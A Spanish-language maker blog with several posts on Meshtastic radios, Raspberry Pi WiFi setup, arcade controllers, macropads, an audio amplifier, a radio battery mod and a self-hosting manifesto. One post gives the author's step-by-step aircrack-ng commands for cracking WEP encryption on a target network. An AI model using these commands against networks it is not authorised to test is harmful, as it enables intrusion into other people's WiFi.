Meshtastic, al fin!

Después de mucho tiempo de tener las placas Heltec Lora 32 dando vueltas en casa, tuve la energía para convertirlas en ese dispositivo que tanto me llamaba la atención: radios para Meshtastic

Meshtastic es, en escencia, una red de dispositivos interconectados por una señal de radio denominada LoRa (Long Range) y permite intercambiar mensajes de texto, ubicaciones por GPS y diferentes datos telemétricos con un muy bajo costo, una distancia grande y poco consumo de energía.

Como hardware base utiliza un microcontrolador ESP32, existiendo firmware para otros, incluyendo Raspberry Pi, Raspberry Pi Pico W, etc, que permanentemente se van agregando al repositorio, mantenido por una comunidad muy grande.

Esta red es libre. No requiere de registros ni licencias, no está centralizada y cualquiera puede utilizarla, siempre y cuando tenga el hardware correcto. Es decir que funciona sin Internet o cobertura de señal de celular. También permite intercambiar mensajes en canales públicos o canales privados y encriptados.

El proceso de puesta en marcha es bastante simple y relativamente rápido. Requiere por un lado la instalación de una app para Android y por otro lado la instalación de un firmware para el ESP32.
En cada archivo .zip vienen los firmwares para todos los dispositivos soportados y un par de scripts para facilitar la instalación, así como los updates necesarios en caso que solamente sea una actualización. Esto facilita mucho porque no hay que andar buscando y rebuscando dentro de infinitos repositorios y los nombres de los archivos son muy claros.

Una vez instalado el firmware, el ESP32 y el celular deben ser conectados por Bluetooth, para que la app de Meshtastic permita poner en marcha la radio LoRa. Una vez que estén conectados, el primer paso es elegir un nombre de fantasía que usaremos en esta red (en mi caso le puse mi señal distintiva de radioaficionado) y segundo, elegir una región (por el tema de las regulaciones del espectro de radiofrecuencia) que en el caso de Argentina, compartimos las mismas que Estados Unidos, con lo que se debe elegir la opción US del menú desplegable.
Inmediatamente el dispositivo se reinicia, pone en marcha la radio y comienza la magia: si hay más de un dispositivo a la vista (o a la escucha) ya se pueden enviar mensajes entre si.

Android con bluetooth no es la única forma de utilización: se puede usar WiFi y una página web alojada dentro del mismo ESP32, que permite utilizar casi todas las mismas funciones (en el caso de GPS, se necesita uno conectado a la placa Heltec) sin tener que instalar absolutamente nada. Esa web está muy bien diseñada y permite utilizar equipos de muy bajo costo, como pueden ser netbooks o tables de bajo rendimiento.

Con respecto a la distancia, el record actual es de 254km (si, 254 kilómetros) y sin utilizar antenas direccionales. La prueba se realizó colocando una radio Meshtastic con una antena de 5dB de ganancia en un poste (que funcionó como base) y una radio móvil que usa una antena stock (la que viene en el kit) de 6cm y 2dB. La magia de las radios LoRa en su máxima expresión.
En ciudad, lleno de edificios, es normal exdecer los 1500 metros sin mayores complicaciones, y no siempre siendo necesaria la «línea de visión» y mis pruebas preliminares lo confirmaron rápidamente.

Como tenía dos placas Heltec LoRa 32 v2.0, me decidí a fabricar dos dispositivos: uno, sin batería, pensado para conectarlo a un cargador o powerbank y usarlo con alguna netbook. Al otro lo pensé para usarlo con una batería externa del tipo 18650 (2200mAh) que son fáciles de conseguir, seguras y simples en cuanto a la gestión de la carga y descarga.

Como pueden ver, la puesta en marcha, una vez adquirido el hardware, es relativamente simple.

Gracias a los amigos del RLab, pude imprimir dos gabinetes con la impresora 3D, pero esto es un factor solamente cosmético y se pueden fabricar con materiales simples de manera bastante expeditiva, como por ejemplo el fabricado por Matías, un compa de Cybercirujas.

Espero que esta información haya sido útil y recuerden que pueden dejar un comentario, o buscarme por algunas redes sociales como Instagram o Twitter

WiFi con la vieja encriptación WEP ¿Cómo romperla?

Revolviendo cosas y apuntes previos a la Eko Party 2023, encontré mis apuntes sobre Pentesting WiFi, más específicamente sobre la (muy vieja) encriptación WEP. Cito Wikipedia:

Wired Equivalent Privacy (WEP), en español «Privacidad equivalente a cableado», es el sistema de cifrado incluido en el estándar IEEE 802.11 como protocolo permite cifrar la información que se transmite. Proporciona un cifrado a nivel 2, basado en el algoritmo de cifrado RC4 que utiliza claves de 64 bits (40 bits más 24 bits del vector de iniciación IV) o de 128 bits (104 bits más 24 bits del IV). Los mensajes de difusión de las redes inalámbricas se transmiten por ondas de radio, lo que los hace más susceptibles, frente a las redes cableadas, de ser captados con relativa facilidad. Presentado en 1999, el sistema WEP fue pensado para proporcionar una confidencialidad comparable a la de una red tradicional cableada.

Paso a detallar mis apuntes, sobre estas cuestiones hay documentación de sobra.

Una WiFi con WEP...pero sin tráfico!

0) Antes de arrancar, es necesario por un lado quitar de memoria todos los módulos y drivers que nos puedan interferir con la actividad que vamos a realizar:
sudo airmon-ng check kill
sudo aimrmon-ng start wlan0

1) Buscar la red víctima y hacer el volcado especificando BSSID, CANAL y archivo de captura:
sudo airodump-ng wlan0mon

Entre otras cosas obtendremos:

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
FC:8F:C4:05:35:4A  -45        2        0    0  11   54e  WEP  WEP         Hackme Sideways

sudo airodump-ng --bssid (víctima) --channel (x) -w victima.cap wlan0mon

2) Lograr una fakeauth con el AP:
sudo aireplay-ng -1 0 -e (SSID) -a (BSSID) wlan0mon
Si logra autenticar, mostrará un 🙂

3) Obtener un ARP_REQUEST falso:
sudo aireplay-ng -5 -b (BSSID) -h (mac autenticada) wlan0mon
o
sudo aireplay-ng -4 -b (BSSID) -h (mac autenticada) wlan0mon
o
sudo aireplay-ng -4 -b (BSSID) wlan0mon

Cuando pregunte por utilizar determinado paquete contestar <YES> hasta que diga: Saving keystream ....frag...xor

4) Forjar un paquete con IP, en formato ARP_REQUEST con la MAC de la falsa autenticación:
packetforge-ng -0 -a (BSSID) -h (mac autenticada) -k 255.255.255.255 -l 255.255.255.255 -y frag...xor -w arp_request

5) Injectar el paquete para obtener tráfico:
sudo aireplay-ng -2 -r arp_request wlan0mon

6) Obtener la clave con ataque tipo estadístico:
aircrack-ng victima.cap

Solamente para la nostalgia!

Raspberry Pi OS 12 «Bookworm» y la WiFi

Hace unos cuantos días que la fundación Raspberry Pi liberó la nueva versión de Raspberry Pi OS 12 «Bookworm» y, entre todos los cambios que realizaron, cambió la forma de gestionar la wifi para las instalaciones headless (sin monitor ni teclado)

Anteriormente bastaba con crear un archivo wpa_supplicant.conf si era la priemra vez, o editarlo para agregar una wifi nueva.

Hoy la cosa ha cambiado radicalmente:

Se debe crear un archivo con nombre MIRED.nmconnection que tenga la siguiente estructura:

[connection]
id=Nombre de fantasia de la conexión
uuid=54384a03-d9f6-473b-a569-11111111111
type=wifi
interface-name=wlan0

[wifi]
mode=infrastructure
ssid=el SSID del AP

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk=La contraseña

[ipv4]
method=auto

[ipv6]
addr-gen-mode=default
method=auto

[proxy]

Y, con permisos 600, guardarlos en la carpeta /etc/NetworkManager/system-connections

Si se tiene acceso a un monitor y teclado, desde la terminal se puede usar el comando nmtui y crear también las conexiones nuevas (o futuras) de nuestra Raspberry Pi viajera!

Finalmente… Arcade Hello Kitty!!!

¡Bienvenidos al Blog de Marcelo! Hoy les traigo una entrada muy especial sobre un fascinante control de arcade customizado y pintado a mano con el tema de Hello Kitty Pirata. Este increíble dispositivo de juego combina la nostalgia de los juegos de arcade clásicos con un toque de dulzura y diversión.

Este control de arcade cuenta con una controladora Zero Delay, lo que garantiza una respuesta rápida y precisa durante las sesiones de juego. La controladora Zero Delay es ampliamente reconocida por su rendimiento confiable y su fácil configuración.

Una de las características destacadas de este control de arcade es su palanca de mando histórica proveniente de un viejo juego de arcade de Sacoa. Esta palanca de mando auténtica agrega un encanto retro y una sensación auténtica a los juegos.

Con un total de 8 botones, tiene todas las funciones necesarias para disfrutar de una amplia variedad de juegos de arcade. La disposición de los botones está diseñada de manera clásica para ofrecer una experiencia de arcade lo más real posible.

La conectividad del control es muy sencilla, ya que se conecta fácilmente a través de USB.

La caja de madera utilizada para este control de arcade customizado y algunos de sus componentes fueron regalos generosos de Soldán. Estos toques personales hacen que el control sea aún más especial y único. La combinación de la caja de madera y la pintura a mano de Hello Kitty Pirata le da un aspecto encantador y distintivo.

Espero que esta entrada haya despertado tu interés y te haya brindado toda la información que necesitabas sobre este fabuloso control de arcade. ¡Hasta la próxima en el Blog de Marcelo!

Manifiesto del Selfhosting… porque se vienen cosas!

Por debajo de las oscuras e inciertas nubes de las bigtech, escondida entre los desclasados obreros del byte y los falsos profetas tecnológicos que con cantos de sirenas ofrecen sus servicios digitales para “facilitar” la vida digital, se alza una comunidad anárquica y contracultural que busca recuperar la Internet y luchar contra aquellos que exprimen nuestra identidad en forma de datos para generar riquezas y publicidad para la manipulación y cohersión social masiva. Navegando por la red de redes, con una pequeña flota de servidores autogestionados, geográficamente distribuidos aunque cohesivamente unidos por el cyberespacio, la comunidad de selfhosting surge como un estilo de vida, una lógica de habitar lo digital, una forma de militar por una red abierta, humana y libre de la oligarquía del dato.

A la naturalización de la ya cristalizada frase «la nube es la computadora de otro” le agregamos que ese «otro» no es más que un conglomerado de corporaciones que como un kraken hambriento devora y controla los océanos del cyberespacio. Contra eso nos armamos en acción comunitaria, directa y autogestionada por y para quienes habitamos y peleamos por una Internet más soberana y justa. Nuestros objetivos son claros, y nuestros principios, precisos. Buscamos romper el espejismo y el encanto que estas bestias impusieron a punta de ISPs y blacklist y propiciamos el ideal de una comunidad organizada en base a sus necesidades informáticas sin la intermediación de forajidos y vendehumos del byte.

Las grandes tecnológicas desembarcaron en la red con una miríada de servicios gratuitos que venían a reemplazar estándares establecidos durante años de trabajo entre usuarios, desarrolladores, comunidades, tecnócratas y demás entusiastas de la marea sideral del cyberespacio. Mercantilizando los servicios básicos de Internet y transformándolos en objetos de consumo, nos fueron llevando a sus islas de productos estilizados, construidos íntegramente con el objetivo de comercializar cada aspecto de nuestras vidas para intentar digitar y direccionar nuestros consumos. Enviar un correo electrónico, chatear con familiares y amig@s, guardar archivos en la red o simplemente compartir un link, todo pasó a estar debidamente indexado, taggeado y procesado por la computadora de otro. Un otro que no es un amigo, ni un familiar, ni nadie conocido, sino una megacorporación que a base decisiones fríamente calculadas intenta manipular y modificar nuestros hábitos y consumos. Aquí no hay quien se salve, cualquiera que haya habitado esos espacios digitales ha visto cómo estos servicios han cambiado nuestras conductas sociales y percepciones de la realidad, ¿o acaso seguiremos haciendo la vista gorda en torno a los tremendos trastornos que las redes sociales generan en toda la juventud o el despilfarro absurdo de recursos que implica sostener las aplicaciones de las megaempresas tecnológicas? Quizás aquellos que tanto alaban a los tecnogurúes del Valle del Silicio no vean el descalabro que significa tener que cambiar de celular o computadora porque simplemente ya no podes navegar la web ni mandar un correo electrónico.

Si este es el tecnosolucionismo que los cryptoentusiastas, evangelistas de la web del futuro o falsos chamanes de la programación nos ofrecen, lo rechazamos de plano. Somos hacktivistas y militantes de base del software libre: nos apropiamos de la tecnología en pos de buscar una construcción colectiva acorde a nuestras comunidades y no a los espurios designios de un hipermercantilizado mercado de la informática. Si hoy en día el obrero del byte cumple el mismo rol que el carbonero o tallerista de fines del siglo XIX, resulta imperioso que se politice y apropie de los medios de producción para construir una alternativa a esta violencia del dato. Sólo cuando esta masa enorme de obreros informáticos despierten del letargo podremos dar el paso siguiente hacia la refundación de un cyberespacio.

Pero no hay que construir sobre el océano vacío, como si estuviésemos perdidos en ultramar lejos de toda costa; existe ya una pequeña pero sólida flota de islas nómades, que esquivan y cercenan los tentáculos del kraken de las big tech. Aquellas islas son las computadoras de otros, pero otros reales, autogestionados y organizados en pos de necesidades personales, comunitarias y sociales. El selfhosting consiste en materializar aquello conocido como «la nube», pero despojada ya de la tiranía del dato y del derroche energético al que nos tienen acostumbrados las grandes empresas tecnológicas. Ellas no están organizadas para mercantilizar nuestras identidades, sino para brindar servicios de correo electrónico, chat, alojamiento de archivos, chat de voz o cualquier otra necesidad digital existente. Nuestras pequeñas islas-servidores demuestran que es posible mantenerse activo en la red sin el trackeo y el robo violento, ni la necesidad impuesta de recambiar constantemente nuestros equipos informáticos: los servicios autohosteados, al ser pensados por y para la comunidad, se piensan desde la mayor eficiencia posible y no el inmoral derroche que colabora directamente con la crisis climática.

Por eso, obrera y obrero del byte desclasado te decimos, ¡formate, cuestionate, y apropiate de las herramientas que utilizás en pos de conformar una mancomunidad de hacktivistas! Sólo entre la unión de los obreros y obreras informáticas y las comunidades de selfhosting y hacktivismo podremos construir alternativas para la refundación de un cyberespacio al servicio de las personas y no de la oligarquía del byte.

Pero no solamente necesitamos de la masa obrera sino también de los ciudadanos y ciudadanas digitales de a pie, ¡despertemos de la apatía generalizada a la que nos han acostumbrado! Nadie puede ya decir que la tecnología no es lo suyo o que la informática no le importa cuando todas nuestras vidas están mediadas a través de sistemas digitales. Ese télefono android que aún vive pero que ya no te permite ver tus correos o chatear con tu familia es simplemente la realidad tecnológica pegándote en la cara; tanto así como la ansiedad o dispersión que existen en vos desde los últimos 15 años. ¡Imaginá el cerebro de un adolescente de 14 años, totalmente apolillado por los violentos algoritmos de las big tech!

Las necesidades digitales comunitarias se dirimen en las costas de nuestras islas-servidores, no en los buques insignias de las refinerías de datos. Unámonos construyendo pequeños servidores en nuestras casas, lugares de trabajo o espacios culturales; unámonos construyendo redes de datos que brinden servicios públicos de mensajería instantánea federada que realmente respeten nuestras libertades y privacidad. Publiquemos servicios de voz robustos y con baja latencia; propiciemos el uso de servicios de bajo consumo de cómputo para democratizar las voces sin importar si usás un bote o un barco de competición de última generación. Creemos foros especializados e interconectemos comunidades para unirnos entre todos, icemos nuestras velas con los protocolos y estándares que existen, los cuales nos permiten bucear la red utilizando el dispositivo que queramos y no el que nos impongan. Perdamos el miedo que no nos deja dar el primer paso e iniciar este gran camino de aprendizaje, que como beneficio extra nos hará volver a recuperar no solo nuestra soberanía tecnológica sino el control de nuestra esencia digital. No se trata de cortar de lleno con las redes de datos privadas de las big tech sino más bien de ir construyendo desde las bases hacktivistas, en mancomunión con los obreros y obreras del byte y la ciudadanía digital espacios autogestionados, autoalojados y autoadministradas: una Internet de la comunidad para la comunidad.

https://codeberg.org/TheCoffeMaker/shm/

Mi mando de arcade personalizado «Hello Kitty pirata»

¿Sos un fanático de los juegos retro? Si es así, entonces sabrás lo importante que es tener un mando de arcade de calidad para disfrutar al máximo tus juegos favoritos. Yo soy un gran fan de los juegos retro y recientemente personalicé mi propio mando de arcade para hacerlo aún más especial. En este artículo, te mostraré mi creación única con dos ¿disruptivos? «Hello Kitty» pirata pintados a mano.

Comencé con una caja de mando de arcade en MDF, regalo de mi amigo y Cyberciruja Soldán, pero sabía que quería darle un toque personal. Decidí pintarla de rosa mate para que se destacara y llamara la atención. Luego, para darle un toque más divertido y único, añadí dos «Hello Kitty» pirata pintados a mano en la parte superior e inferior de la tapa. Las figuras son pequeñas, pero están llenas de detalles, con parches de ojo y moño característico.

Además de la estética, también me aseguré de que el mando de arcade funcionara correctamente. Irá con botones de alta calidad y un joystick que responde de manera precisa a los movimientos… heredado de Sacoa! Todo esto significa que puedo disfrutar de mis juegos retro favoritos como si estuviera en una máquina de arcade real.

Este mando de arcade personalizado es un verdadero tesoro para mí. No es para la venta ni para regalar, es un regalo para mí mismo y para mi amor por los juegos retro. Si estás buscando una manera de hacer que tu mando de arcade sea único y personalizado, ¡tal vez te haya dado algunas ideas con mi creación!

Muchas gracias!

Si esta información te resulta útil e interesante, invitame un cafecito!!!
https://cafecito.app/marce_ferra

Desde fuera de Argentina en:
https://www.buymeacoffee.com/marceferra

O podés colaborar comprando algunos de los objetos creados en los tutoriales del blog:
https://listado.mercadolibre.com.ar/_Envio_MercadoEnvios_CustId_13497891
Gracias!!!

Macropad V2

Hace un tiempo no muy lejano comencé a investigar el asunto de los streamdeck o macropads usando como base electrónica una Raspberry Pi Pico, cuyo microcontrolador, un RP2040 le brinda una potencia y una versatilidad espectacular. Así que siguiendo el proyecto del amigo Peter Gallagher, me decidí a fabricar otro.

Los materiales son mayormente recuperados de otros dispositivos que dejaron de funcionar:
-> Gabinete de un NAS Lacie Neil Poulton
->
Teclas y el marco metálico de un teclado mecánico de HyperX
->
Cableado interno encontrado en la calle
-> LEDs sobrantes de otro proyecto, lo mismo que sus resistencias de 330R
->
Raspberry Pi Pico
->
Tornillos y separadores varios

Presentando un trozo de marco metálico sobre el gabinete… queda chico! A pensar que hacer…
Este diseño de teclas, un poco más disruptivo, se adapta a lo que tengo en mente
Y me queda un sobrante para un nuevo proyecto similar

A partir de acá es un poco ponerse a jugar con los materiales. Al gabinete lo corté de manera longitudinal y en ángulo, de manera que quede apuntando al «operador» y usando lijas al agua, darle un acabado semi mate. Al ser fabricado en plástico ABS, el proceso fue bastante rápido.

Como quedaría en la mesa
Los ángulos locos de este proyecto, que carece de simetría y produce un efecto visual bastante disruptivo
Montando los materiales de manera provisoria, simplemente para ver si son lo suficientemente orgánicos. Decidí aprovechar los capuchones de las teclas un poco más grandes para la barra vertical de la izquierda, y capuchones más bajos para la hilera inferior.
Otra vista y el efecto logrado: un ángulo que apunte hacia un extremo, y las teclas que vallan «chorreando» como si fuesen movidas por la gravedad!

A este teclado le quise añadir una serie de mejoras con respecto al anterior, que consisten en LEDs, uno de «posición» (para poder encontrar rápidamente el teclado en un ambiente con poca luz) y aparte para cada tecla, uno que indique cual es la tecla que fue pulsada. Podemos llamarla «modo activo» o LED indicador…

Un papel cuadriculado pegado en el área designada es una simple guía para realizar agujeros en paneles y gabinetes
Los LEDs de 3mm ya montados con su correspondiente portaled, quedaron «casi» derechos y bien espaciados… «casi»

A partir de este punto, todo es soldar y seguir el diagrama del proyecto, que está perfectamente documentado. Hay que prestar atención a la polaridad de los LEDs (mensaje para mi…)

El cableado del proyecto propuesto por Peter Gallagher, puede ser intimidatorio, pero es solamente prestar atención!
Como primer paso y una vez montada la Raspi Pico, con un cable desnudo uní todos los negativos, que van a cualquier GND de la placa. Esto simplifica y acelera el proceso de unir componentes!
Una vez unidos y soldados los pines de las teclas y los LEDs con sus resistencias, hay que subir el código en Circuit Python a la placa y realizar una prueba preliminar, antes de cerrar el gabinete

Para el acabado de los capuchones de las teclas decidí dejarlas blancas con un borde negro (el original) y chimpún, proyecto finalizado!

La tapa inferior es de policarbonato recuperado de una pantalla de notebook! Y revela el secreto del cableado y el «cuidadosamente prolijo» trabajo de fijara todo con la «pistola echastradora de silicona»

Este tipo de teclado funciona el la base de convertir a la Raspberry Pi Pico en un dispositivo tipo HID (teclado o mouse USB, para simplificar) y permite mediante código bien simple, asignar una combinación de teclas a cada pulsador. En este caso, cada tecla corresponde a <control> + <shift> + <alt> y <F1> al <F12>. Pero no se limita a eso. La ventaja de la Raspi es que queda montada como si fuera un pendrive, permitiendo modificar esas combinaciones «al vuelo» sin necesidad de enchufar y desenchufar, y con un simple editor de texto.

Pero eso no se limita ahí, sino que el programa puede ser alterado para producir otras funciones, como puede ser mover el mouse, o incluso convertirlo en un dispositivo independiente, creando por ejemplo un clásico juego tipo Simon! El límite es la imaginación!

Raspberry Pi Pico puede ser un giro importante en la electrónica del hobbista, por la versatilidad y la potencia. Y su pariente la Raspberry Pi Pico W, que agrega conectividad inalámbrica, una ayuda para proyectos simples de Internet de las Cosas. Mismo se puede programar con MicroPython, CircuitPython o C++ de Arduino (desde la IDE misma)

Este teclado va de regalo para Stephanie Zucarelli, Periodista de cultura especializada en Videojuegos. Síganla en sus redes!

Muchas gracias!

Si esta información te resulta útil e interesante, invitame un cafecito!!!
https://cafecito.app/marce_ferra

Desde fuera de Argentina en:
https://www.buymeacoffee.com/marceferra

O podés colaborar comprando algunos de los objetos creados en los tutoriales del blog:
https://listado.mercadolibre.com.ar/_Envio_MercadoEnvios_CustId_13497891
Gracias!!!

Mochi Ampli y Escrachin

Hola! Me di cuenta que debía este tutorial! De a poco lo voy a ir completando con más fotos!

Todas las fotos del proceso se pueden descargar con el enlace magnet (por Torrent) que está al final de este artículo.

Hace unos meses me enganché con el grupo (Electro)Makers de RLab con la finalidad de hacer un amplificador de audio multiuso basado en el circuito integrado TDA2003.

Xrenae aportó un lindo esquema de conexiones, de un circuito que usa de manera bastante eficiente el integrado en cuestión y una forma de realizar el PCB para armarlo:

Esquemático de amplificador de audio con TDA2003
PCB para el TDA2003 listo para imprimir y revelar sobre pertinax cobreado

Como siempre mi mente inquieta fué para otro lado y me acordé de un sistema de prototipado sobre PCB, llamado Manhattan. Se trata de cortar islas sobre un pertinax cobreado y soldar los componentes directamente, sin uso de revelador, de químicos, ni nada extra:

Un ejemplo muy burdo de prototipado Manhattan

Lápiz en mano, me puse a ver como organizar los componentes para el amplificador, bocetando primero:

Como la idea me resultó buena, agarré el TDA2003 y con ayuda de una pinza, le doblé las patas como para soldarlo directamente:

Y comencé a dibujar las ilas sobre el papel cuadriculado, llenando con los componentes:

Cuando tuve más o menos una idea general, me fuí directamente, trincheta y regla en mano, a realizar cortes en el PCB, para crear estas islas aisladas eléctricamente:

Con el multímetro iba midiendo para que no haya cortocircuitos:

Midiendo la correcta aislación entre las islas. Si hay continuidad, hay que profundizar el corte
Presentando el TDA para soldarlo. Las «pistas» tienen aproximadamente 5mm de ancho
El PCB en su forma final, ya bien limpio con una lana de acero y listo para soldar
El TDA2003, componente central, ya soldado

De acá en más es seguir el diagrama de conexiones, montando los componentes paso a paso:

Algunos componentes ya soldados
En su forma final, con los cables de alimentación, los del potenciómetro, parlante y entrada ya soldados

Es un proyecto lindo y simple de hacer, y da el puntapié para el próximo: osciladores y cajas de ruido!!!

Si te copa, venite a los talleres del RLab sobre Mochi Ampli, que están buenísimos!

Muchas gracias!

Si esta información te resulta útil e interesante, invitame un cafecito!!!
https://cafecito.app/marce_ferra

Desde fuera de Argentina en:
https://www.buymeacoffee.com/marceferra

O podés colaborar comprando algunos de los objetos creados en los tutoriales del blog:
https://listado.mercadolibre.com.ar/_Envio_MercadoEnvios_CustId_13497891
Gracias!!!

Baofeng UV-3R y 18650

Hace un tiempo que las baterías de mi viejo Baofeng UV-3R dejaron de mantener su carga. Y no las estoy consiguiendo acá en Argentina, y menos en un precio razonable, y de un stock «pseudo nuevo»

Así que decidí ir por una modificación que hace rato que tenía en mente: adaptar de alguna manera un par de baterías industriales tipo 18650, que tienen el mismo voltaje que las originales, y de paso aprovechar que este handy tiene su sistema de carga integrado, con la versatilidad que eso conlleva.

Pensé en ir por algo impreso en 3D, pero no encontré nada ya pensado. Y no tengo la experiencia para ponerme a hacerlo yo. Así que decidí cortar por lo sano:

Pegar directamente con cinta bifaz 3M VHB dos portapilas, conectarlos en paralelo y tratar de soldarlos a los bornes internos, y digo tratar porque no pude: son de un material en donde el estaño nunca pegó! De todas maneras el resultado superó mis espectativas y el handy no solamente anda perfecto, sino que ahora tiene mucha mas autonomía que antes (1500 mAh contra algo más de 4000)

Vista trasera con las dos baterías
Con su hermano mayor, un Baofeng UV-5R, y el cable de carga conectado

La modificación es sencilla y vale la pena hacerla, ya que el handy es de mejor calidad que su sucesor, y esos 3 watts versus 5 watts no hacen tanto a la diferencia teniendo una buena antena.

En su cartuchera de trasporte, listo para seguir disfrutando de este hobby
Con la vieja antena Nagoya NA-775 y su micrófono de palma

Que le falta a este proyecto? Una forma mas eficiente de que los cables hagan contacto adentro. Tengo pensado hacer algo con un poco de pertinax cobreado, del mismo tamaño que la batería. Veremos!

Si esta información te resulta útil e interesante, invitame un cafecito!!!
https://cafecito.app/marce_ferra

Desde fuera de Argentina en:
https://www.buymeacoffee.com/marceferra

O podés colaborar comprando algunos de los objetos creados en los tutoriales del blog:
https://listado.mercadolibre.com.ar/_Envio_MercadoEnvios_CustId_13497891
Gracias!!!

Macropad Cyberciruja

Hacía rato que tenía en la cabeza la idea de hacer un macropad para estrenar el primer proyecto con Raspberry Pi Pico, aprovechando las bondades de HID que tiene el dispositivo.

Coincidencia, un amigo estaba por tirar un teclado mecánico HyperX cuya placa lógica estaba más allá de toda reparación:

Tanto los keycaps (las tapas de las teclas) como los interruptores (marca Chery) son de muy buena calidad. Con paciencia, soldador en mano y un poco de astucia, pude recuperar el 90% de las teclas!

La parte de arriba es de un metal bastante resistente, que no estaba dispuesto a desperdiciar. Amoladora en mano, las chicas de Allegra Stampa me prestaron su taller y procedí a cortar con cuidado dos retazos para dos proyectos diferentes:

Cortando y recuperando la parte de arriba del teclado, de un metal bastante resistente (parece acero!)
De esto espero que salga un piano de dos octavas!
El soporte para el macropad del proyecto en cuestión
Con los interruptores Cherry ya presentados, no aguantaba la ansiedad!

Después de unas pasadas de lija con la misma amoladora, a fin de darle un toque de «metal cepillado» coloqué los interruptores y medí uno por uno su correcto funcionamiento con un multímetro, antes de soldar todo.

Se debe elegir un contacto de los interruptores, que usaremos como «común» e irá al negativo del microcontrolador. En estos soldé un alambre de cobre desnudo:

El macropad con todos los cables soldados

Para que la cosa sea un poco más ordenada, los cables restantes, que irán a cada contacto de la Raspberry Pi Pico, van separados por fila con el mismo color de cable. Esto facilita la identificación en el paso siguiente!

El cable azul es el negativo común a todos los contactos Cherry

El paso siguiente es encontrar cómo colocar la Raspberry Pi Pico.

Las tapas de las teclas las pinté con esmalte de uñas y un poco de barniz transparente.

Me faltaba una base linda y simple, así que reciclé un pedazo de MDF fino, un mapa viejo, separadores de bronce y cariño!

Para el firmware usé el muy pulido proyecto de Pete Gallagher, realizado en Circuit Python. El esquemático es bastante simple:

En mi caso, no instale ninguno de los led (hubiese quedado genial) pero no pude resolver de manera simple y prolija como colocarlos debajo de cada tecla. Salió sin luces, pero eficiente!

Modificando el arhivo code.py se pueden crear combinaciones de teclas muy cómodas a la hora de manejar un OBS o cualquier otro sóftware, ya que la Raspberry Pi Pico se comporta como un teclado común y corriente. Y la gran ventaja de dejar montado el sistema de archivos de la misma Pi Pico, hace que con un sencillo editor de texto se hagan modificaciones «al vuelo» y sin necesidad de hacer ni siquiera un reset. Al guardar los cambios, estos son aplicados de inmediato!

Las receptoras de este experimento son las alienígenas de Poder Alien !!!

Los invito a jugar con este tipo de proyectos y espero que sea esto, fuente de inspiración para sus proyectos de lucha contra la obsolecencia programada y frenar la constante montaña de basura electrónica. Si quieren pueden darse una vuelta por Cybercirujas para conocer un poco mas de este trabajo!

Si esta información te resulta útil e interesante, invitame un cafecito!!!
https://cafecito.app/marce_ferra

Desde fuera de Argentina en:
https://www.buymeacoffee.com/marceferra

O podés colaborar comprando algunos de los objetos creados en los tutoriales del blog:
https://listado.mercadolibre.com.ar/_Envio_MercadoEnvios_CustId_13497891
Gracias!!!